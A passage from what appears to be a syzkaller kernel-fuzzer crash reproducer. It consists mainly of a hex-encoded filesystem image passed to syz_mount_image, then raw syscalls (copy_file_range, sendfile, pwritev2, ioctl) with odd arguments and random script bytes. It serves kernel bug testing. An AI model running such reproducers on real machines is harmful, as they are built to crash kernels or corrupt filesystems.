"\xfe\xaf\x7a\x5e\xff\x85\x1e\xb3\x26\x37\x56\xee\xef\x1e\xec\xfb\x6b" "\x5b\xb1\xe9\x58\xaf\xe5\xc7\xf6\x97\xfb\xc0\x4e\xf5\x57\xfe\xef\x73" "\xf9\xa5\x35\x4f\xa6\xde\xca\x5f\xfa\x55\x28\x3f\xde\xa8\xb4\x47\x7f" "\x08\xe5\xef\xef\xb1\xfc\x87\xda\x7f\x7c\x63\xe5\xff\x31\x97\x5f\x5e" "\xb6\x33\xa7\x7b\x2d\x7f\xb5\xc6\x55\x63\x7d\x3d\xe2\x7e\xe3\x72\x1f" "\xc0\xb8\xdf\xb8\xf8\x53\x68\x7f\xb9\xb7\x5f\x3f\xed\x3f\x75\x6b\xe3" "\x1d\xb5\xdd\xc9\xe5\xc3\x28\x1b\x96\x7e\x26\xfb\x35\x2c\xfd\x7f\x76" "\x53\x96\x5b\xd6\x83\x79\xf5\xdc\x3a\x4e\x57\xee\xbf\x1d\xfb\x3b\xe8" "\xb7\xfe\xe5\xbe\xdf\xe5\x77\xe0\x89\xb0\xfc\xaa\xe6\xf7\x4d\xff\x9f" "\xc3\xad\xae\xff\xcf\xf2\xf9\x9b\xd3\xff\x27\xec\x3a\x1f\x3a\xfe\x67" "\x30\x8c\xec\xb0\xb4\xb4\x34\xd0\xae\x4f\x46\xb5\xdf\x95\x9d\x62\xd0" "\xaf\xff\xa0\xb7\x21\x07\x5d\xfe\xa0\x5f\xff\x3a\xb1\xff\xcf\xf8\x7f" "\x29\xf6\xff\x19\xe3\xb1\xff\xcf\x18\x8f\xfd\x7f\xc6\x78\xec\x5f\x2b" "\xc6\x63\xff\x9f\xf1\xf5\x8c\xfd\x7f\xc6\xf8\xd1\xb0\xdc\xd8\x3f\xe8" "\x74\x4d\xfc\x0b\x35\xf1\x63\x35\xf1\x2f\xd6\xc4\x8f\xd7\xc4\xe3\xff" "\xb7\x18\x9f\xa9\x89\x9f\xa8\x89\x9f\xac\x89\x3f\x5e\x13\x3f\x55\x13" "\x3f\x5d\x13\xff\x4a\x4d\xfc\xc9\x9a\xf8\x53\x35\xf1\x33\x35\xf1\xdd" "\xee\xcb\x39\x1d\xd5\xf6\xc3\x28\x8b\xfd\x46\xfa\xfe\xc3\xe8\x28\xc7" "\x7f\xba\x7d\xff\xa7\x6a\xe2\xc0\xf0\x8a\xfd\x3a\xc7\xef\xf7\x57\x6b" "\xe2\xc0\xf0\x2a\xe7\x79\xf8\x7e\xc3\x08\xaa\x3a\xdf\xb1\x23\xee\x6f" "\x2f\xfb\x71\x6f\xe5\xf4\x9d\x9c\xbe\x9f\xd3\x8f\xb6\xac\x82\x6c\x87" "\xaf\xe5\xf4\xeb\x39\xfd\x46\x4e\xbf\x99\xd3\xb3\x39\x9d\xcd\xe9\x5c" "\x4e\xf5\x0d\x39\xdc\x7e\xf1\xf7\x63\x27\x6e\x57\x6b\xe7\xf9\x1d\x0a" "\xf1\x5e\xcf\x27\x8d\xd7\x03\xc4\xfb\xc4\x9c\xeb\xb1\x3e\xf1\xf8\x5c" "\xbf\xe7\xb3\x1e\xed\xb1\x9c\xad\x2a\x7f\x83\x97\x83\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x0c\x8d\xc6\xca\xe3\xfc\xfc\x74\x95\xd2\xdb\x77\xde\xba\xf0" "\xcf\xa9\xef\x7c\x7f\x79\xca\xc9\x56\x8e\x99\x95\xc7\xf1\x3c\xb6\x90" "\x52\x6a\xa6\x94\xaa\x3c\x3e\x1e\x96\x77\x63\x62\x35\xfd\xec\x93\xeb" "\x97\x3a\xa5\x55\x3a\xbf\xf2\x58\xc6\xd3\x0b\xf7\x5b\xf3\x1e\x58\x9e" "\x3f\xcd\xa4\xbb\x69\x32\x5d\xfc\xf8\xe8\xed\x57\x3e\x78\x7e\xf1\xbd" "\x23\x37\x8f\x5c\x78\xf3\xcc\xbd\xad\x69\x3d\x00\x00\x00\x8c\x86\xff" "\x06\x00\x00\xff\xff\x90\xa9\xe7\xfa", 3494); syz_mount_image(0x200000c0, 0x20000100, 0x4800, 0x20000080, 1, 0xda6, 0x200006c0); break; case 1: memcpy((void*)0x20000080, "./file1\000", 8); res = syscall(__NR_open, 0x20000080ul, 0ul, 0ul); if (res != -1) r[0] = res; break; case 2: syscall(__NR_copy_file_range, r[0], 0ul, -1, 0ul, 0x40000000000004ul, 0ul); break; case 3: syscall(__NR_openat, 0xffffff9c, 0ul, 0ul, 0ul); break; case 4: memcpy((void*)0x20001340, "./file1\000", 8); res = syscall(__NR_open, 0x20001340ul, 0x143142ul, 0ul); if (res != -1) r[1] = res; break; case 5: memcpy((void*)0x20000000, "./bus\000", 6); res = syscall(__NR_open, 0x20000000ul, 0x143042ul, 0ul); if (res != -1) r[2] = res; break; case 6: syscall(__NR_ftruncate, r[2], 0x2007ffbul); break; case 7: syscall(__NR_sendfile, r[1], r[2], 0ul, 0x1000000201005ul); break; case 8: syscall(__NR_ioctl, -1, 0xc0189376, 0ul); break; case 9: syscall(__NR_openat, 0xffffffffffffff9cul, 0ul, 0x8000ul, 0ul); break; case 10: res = syscall(__NR_open, 0ul, 0x147042ul, 0ul); if (res != -1) r[3] = res; break; case 11: *(uint64_t*)0x20000680 = 0; *(uint64_t*)0x20000688 = 0; syscall(__NR_pwritev2, r[3], 0x20000680ul, 1ul, 0x6000000, 0, 0ul); break; case 12: memcpy((void*)0x20002480, "#! ", 3); memcpy((void*)0x20002483, "./file0", 7); *(uint8_t*)0x2000248a = 0x20; memcpy((void*)0x2000248b, "%^[}", 4); *(uint8_t*)0x2000248f = 0x20; memcpy((void*)0x20002490, "xfs\000", 4); *(uint8_t*)0x20002494 = 0x20; memcpy((void*)0x20002495, "xfs\000", 4); *(uint8_t*)0x20002499 = 0xa; memcpy( (void*)0x2000249a, "\x10\x33\x1a\xff\xff\x4f\xd6\xcf\xe4\x0c\x5f\xf7\xae\xe0\x83\x75\x0d" "\x81\xa5\x4d\xb7\xf8\x0f\x67\xed\x39\x3a\xfc\x78\xd2\xb4\x87\x4f\xff" "\x49\x11\x81\x2e\x41\xee\x56\x07\xec\x26\x29\x72\x51\x3d\xff\x0e\x31" "\x6d\x31\x83\x30\x63\x65\x17\x47\x6a\xf4\xf9\xef\x5e\x0f\x31\xcc\x3c" "\xb6\x02\xa9\x13\x0a\x52\xbc\x81\x77\x31\xbf\xb0\x4a\x9d\x65\x18\x4a" "\xa9\xd2\x8f\x4c\xcb\xeb\x41\xc6\xf2\xb7\xe3\xa1\x14\x70\x20\xbc\xde" "\x1f\x45\xd9\x92\xba\xd5\xfe\xbb\xbc\xaa\xb5\x18\x7a\x08\xf0\x9b\x64" "\x24\xa7\x68\x43\xa7\xff\x2d\x18\x4c\xbc\x18\xec\xee\xff\xb3\x59\x7e" "\x4d\xc3\xb1\x0d\xc4\xd6\x15\x81\xb0\x3d\x4c\xcb\x77\x5e\x24\x49\x2e" "\xa6\x00\x9a\xa1\x6b\x5f\x23\xf1\x3a\x08\x75\x48\xdb\x5b\x32\xdb\x17" "\x9f\x91\x93\x08\x9c\x8b\xe1\x97\x59\xba\x16\x9e\xa9\x84\x75\x79\xe6" "\xee\x5f\xb4\xf4\x5b\x66\x66\x14\x59\x2b\x77\x53\xd3\x3c\x87\xac\x01" "\x2a\x16\x78\x52\xf9\x68\x64\x2f\x91\x91\x5b\xda\x3d\x2f\x74\x74\x83" "\x73\x7f\x9d\x9f\xe3\xe6\xd7\xdd\xc6\xa6\xe2\x23\xba\x9e\x66\xe8\x22" "\xbe\x29\x81\xe4\x66\xf0\xa9\xd5\xe5\x65\x3e\x2d\x99\x4c\x99\x97\x5e" "\xd2\xbb\x94\x36\x89\xd6\x96\x0b\xae\x70\x3d\xee\x61\xad\x27\x79\x70" "\xa2\xfc\x57\x2e\x95\xfc\xc2\xd7\xdd\x43\xce\x04\x46\x34\x73\x3a\x6b" "\x94\x68\x70\x1f\x1b\x1e\x50\x67\x21\xa2\x2f\x8f\x91\xfe\xb9\x04\x60" "\xc1\x57\xe1\x17\xb4\xb2\x0d\x7a\xdd\x7a\x82\xca\x29\x6b\x75\xaa\x07" "\x04\x98\xb1\x57\x15\x1e\x50\x24\xff\x17\xbd\x48\x6b\x3a\xe9\xc5\xaf" "\x42\xb0\x18\xd6\xff\x22\x67\x4d\xb8\xfe\x63\xb7\x65\x5e\x09\x52\x27" "\xbc\x12\xf8\x95\x9e\x95\xc1\x21\xbf\x69\x28\x40\xa8\x74\x8a\x9e\xcf" "\xd1\xff\xb2\x48\x43\xa1\xde\x10\xab\x0f\xa1\xf6\x03\xc0\x48\xca\xb9" "\x97\x84\x6d\x60\x51\x09\x50\xea\x5d\x88\x43\x0c\x50\xe9\xe8\x21\x32" "\x78\x43\xc1\xf5\xc4\x68\x28\x9d\x8f\x65\xea\x39\x0c\x41\xe7\x58\x81" "\x51\xbf\xb4\x1e\xd0\xf3\x60\xba\xcb\x76\x82\x0d\xab\xb1\x1f\xc4\xea" "\xff\x3f\xda\xeb\xc0\xdc\x25\xfa\x7f\xf8\x6e\x94\xf9\xd6\x78\xf4\x54" "\x7b\x35\xd6\x5e\x63\xc3\x4c\x6e\x83\x4c\x4b\x5b\x10\x21\xe1\x77\x74" "\x3f\x23\x51\xe1\xb7\x7d\x8d\x3c\x8c\x34\xab\x03\xb1\x42\xe8\xe7\x17" "\x8e\x13\x05\xc1\xbc\xb8\xf6\x59\x83\xf4\xa1\x56\xf2\xfd\xf2\xc1\x09" "\x91\x95\xd5\x38\x9c\x3b\xde\x5d\x22\x89\x85\x53\xc4\xf6\x57\x38\x5c" "\x90\x98\x46\xbd\x0c\x1c\xa8\x5a\xc8\x33\x41\x4e\x44\x8a\x11\x8e\x52" "\x92\xf3\x8b\x50\xca\xa0\x46\x7e\x6d\x85\x13\xb8\x2c\xbf\xc1\xf0\xe4" "\xbb\xf8\xc6\x97\xd0\xcb\xc9\x68\x24\x3d\x2a\xa8\x8f\x5b\x4c\x33\x37" "\xdd\xc2\xd7\x7b\xe8\x26\x9e\x64\xd4\xad\x4a\x0b\x56\x02\x7e\x6a\xe4" "\x96\x81\x7d\x19\x9e\x6c\x48\x01\xcb\x10\xae\xa3\x58\x9e\x55\xe9\xc4" "\xff\x18\x80\xfc\xe2\x5e\x19\x16\x2e\x3c\x73\x70\x38\x0b\xac\xc0\x4b" "\x36\x24\xff\x32\xcf\x9b\x0d\x94\xd5\x47\xb8\x27\x8a\xba\xf5\xb8\xdf" "\xbd\x28\x07\x9e\x6e\x6c\x14\x2f\x4e\xaa\x1e\xd2\x64\x35\x43\x79\x2e" "\x1e\xae\xcb\xd8\x54\x4a\xf8\xaf\xfa\x8e\x54\x80\xc2\x52\x92\xfc\x2c" "\x85\x34\xc5\x39\x27\x83\x18\x72\x3b\xf4\x7e\x35\xe2\xde\xd0\x34\x23" "\x6d\x92\x86\xa7\xd5\xb3\x95\x74\x2b\xec\x33\x60\x2c\xf1\x8a\xb1\x7e" "\xbf\xfd\xfa\x97\x95\x75\xf5\xa0\x03\x6f\x93\xd3\xb9\xa0\x3f\xbc\x9b" "\x54\xa9\x4d\x23\x1a\x7b\xaf\x3b\x6d\x36\xa6\xca\xa8\xd4\xd2\xee\x3b" "\x4a\x55\xa4\x01\x1f\x04\x49\x05\x9a\xb1\x7e\xda\xaa\xb1\xdd\x8a\x52" "\x76\xb2\x05\x40\xca\x32\x01\xd2\xb5\xb6\xcf\xb8\xf6\x84\x91\xfa\x5e" "\x94\x73\x2c\x2f\xf3\xb2\xda\x88\xe1\x98\x02\x6b\x42\x23\xaa\x4b\x93" "\xc2\xf7\xad\xa0\xe8\x83\x6f\x7b\x97\x50\xdf\x43\x78\x5a\x03\x63\x88" "\xbb\xf6\x22\x1c\xe1\x25\x7b\x83\xae\xe1\xfa\x97\x2c\xac\x5d\x60\xd3" "\xcb\x92\xd6\x8d\x3e\xb3\xee\x84\x07\x8b\x25\x4c\x66\xb9\xdc\x30\x99" "\x27\x87\x98\xbc\xe1\x27\x54\x37\xb0\x6d\x45\xa8\xdd\x12\x96\xb5\xf4" "\xba\x2c\x8d\x2c\x8a\xdb\x5a\xaa\xaf\xf2\x8a\x1f\x46\x54\xf6\x83\x7f" "\xc1\xc1\xef\x5d\x3f\xb1\x63\x60\x4a\xa1\x77\xdf\x04\xa0\x7b\xcc\xdb" "\x69\x87\x8b\x20\xd5\xff\x2a\x9f\x92\x8e\x4c\x19\xe8\xe1\x9b\x0c\x6d" "\x92\xcb\xa2\xe4\x19\xf1\x36\x3e\x9b\xc3\x55\x25\xd7\xfd\xe6\x9a\x8e" "\x4c\x6f\xd3\xca\xef\x12\x92\x64\xea\xe4\x53\x04\xc3\x73\x6b\x68\xfb" "\x4e\xed\x81\x7d\x38\x8a\x3b\x7e\xd1\x44\x47\xa6\xf1\xf4\xd7\x65\xd2" "\xb9\x2f\xb4\x45\x10\xfd\xf3\x3d\xe8\xb5\x8a\x02\x32\x2c\xa3\xd3\xf5" "\x1f\x9d\x0e\xa5\xa6\x37\x6c\xf9\x60\x4c\x3a\x4c\x6a\x3d\x0e\xa0\x0d" "\xa5\xa4\x94\xaa\xab\x5e\x88\xff\x24\x56\x58\xd9\x42\xec\x96\xc8\xb3" "\xa4\x73\xf2\x34\x66\x0a\x3d\x55\x47\x82\x09\x00\x2b\x69\x65\xfb\x5a" "\x45\xd7\x6c\xd0\xb6\x4d\x40\xac\x83\xd5\x7a\xba\xb8\x35\x5f\x7d\xbb" "\x3b\xba\x6e\xac\x27\x61\x47\xd3\x5f\x5a\x8c\x57\xe7\x78\xfa\x09\xaf" "\x56\x0e\x66\x30\xed\x34\xde\x80\x9d\x79\xc7\x53\x83\x9b\xac\xe5\x1b" "\x06\x48\x32\xaf\x51\x8d\x29\x2c\xc6\x97\xc8\x11\x26\x3f\xb2\x1f\x1d" "\x8c\xc2\xec\x59\x81\xdf\x09\xe1\x81\xf9\x4c\x2f\xde\xfc\x8e\x15\xcd" "\xd5\x06\xe4\xbb\x46\x66\x7b\x19\x2d\x07\xa6\xa2\x39\x75\x58\x54\xc1" "\x10\x63\x87\x55\x5f\xcb\x2a\x9e\x35\xc0\x81\xdd\xb1\x39\xe0\x46\x4e" "\x20\x07\x40\x5c\xe3\x53\x6a\x90\x1f\x0c\x91\x5c\x9b\xfd\x67\x13\x9c" "\xa6\x32\xf0\xb0\x5e\xff\xa7\xba\xfa\xdf\xc2\x83\xf6\xab\xb8\x17\xf5" "\x93\x30\x2f\x76\x92\x63\xfc\x8d\x40\x1a\x2d\x39\xbc\x59\x7a\x00\x38" "\xfa\x95\x70\x9e\xdb\x9e\xb6\xeb\x02\x3f\xcd\x18\x03\xdb\xf4\x67\x4b" "\x5a\x67\x03\xaf\xb9\xab\xfb\x73\x89\x7e\x04\x93\xdd\x16\xf4\x09\x35" "\x6d\xc7\xc3\x89\x8d\xc9\x25\x7d\xf8\xde\x6e\x69\xbf\x5a\x33\x41\x42" "\x61\x34\xcd\x5c\x50\xc4\x0a\xd0\x2e\xa4\xc5\x69\x6b\x19\x08\xe7\xf5" "\x58\x9d\x54\x8f\x39\x00\xdf\x4a\x52\xb7\x52\x84\x5e\x77\xb1\xcf\xef" "\x37\xbc\xe6\x2e\x29\xe5\x3f\x20\x34\x18\xb6\x2d\x6d\xbe\xf0\x0d\xd1" "\x0e\xdb\x4c\x98\xbd\xea\xae\x6d\x9d\x0e\x87\xf8\x79\xb6\x30\xf6\x12" "\x31\x31\x5a\x72\x1c\xbb\x34\x00\x74\x9e\x17\x28\xab\x91\xc5\x1d\x24" "\x2b\x05\x4a\xd4\x67\x93\xfe\x87\x54\x6f\x68\x03\x9e\xd8\x40\xad\x04" "\x1f\x4f\x4d\xcd\x61\xd0\x67\xd3\xdd\xa3\x21\x1a\x87\xd8\x44\xf2\xe9" "\x50\x8d\x94\xa2\x10\x51\x98\x00\x66\x13\xf4\xab\xc3\x51\x29\xbd\x08" "\x7f\xaf\x8f\xc6\x54\x48\xd2\xbd\x3d\xd8\x53\x39\x65\x31\x22\xf9\x3c" "\x45\x7f\xdf\x1e\xa6\x3e\x0f\xa3\xf9\x38\x24\x09\x98\xa8\x5c\xfd\x27" "\x74\x9b\x8b\xef\x3d\xdd\xeb\x96\x3c\x7d\x6d\x65\x27\x2e\xd4\xf5\x51" "\x50\x95\xb6\xf8\x3c\x84\x4b\x0e\x74\xd7\x0f\x5c\xab\x7d\x44\x75\xf8" "\x1d\xe8\x67\xe0\xe4\xd7\x0c\xd9\x9f\xd7\xcf\x21\xf4\xe8\xe6\xa7\x8a" "\x14\x54\x40\x20\x91\x65\xbe\xfc\x40\xf9\xc3\x4c\xd9\xc5\xcb\x52\xa7" "\xfd\xbd\xc8\x4e\x51\x31\x8b\x00\x14\x05\x4a\xe0\xfc\x65\xa2\x14\xde" "\x34\x98\x66\x56\x18\xd9\xe2\x0e\x5e\x93\xeb\xdb\xfc\x8b\xfd\x17\x5a" "\x33\x98\x72\x69\x1f\xa5\xea\xe1\xcd\x15\x3e\x53\xb6\xda\xed\xd3\xd6" "\x07\xea\x02\x3e\x73\x8d\x04\xa2\xbe\xbd\x1f\x4e\xd2\x4c\xf8\x2e\x07" "\x7a\x72\x3b\xb8\x72\x71\x8b\x31\x14\x0b\x7e\x88\xe6\x9c\x72\x35\x1d" "\xcf\x02\x19\x35\x4d\x47\xec\xe0\x99\x41\xe2\x7c\x18\x17\xc4\xd6\x9d" 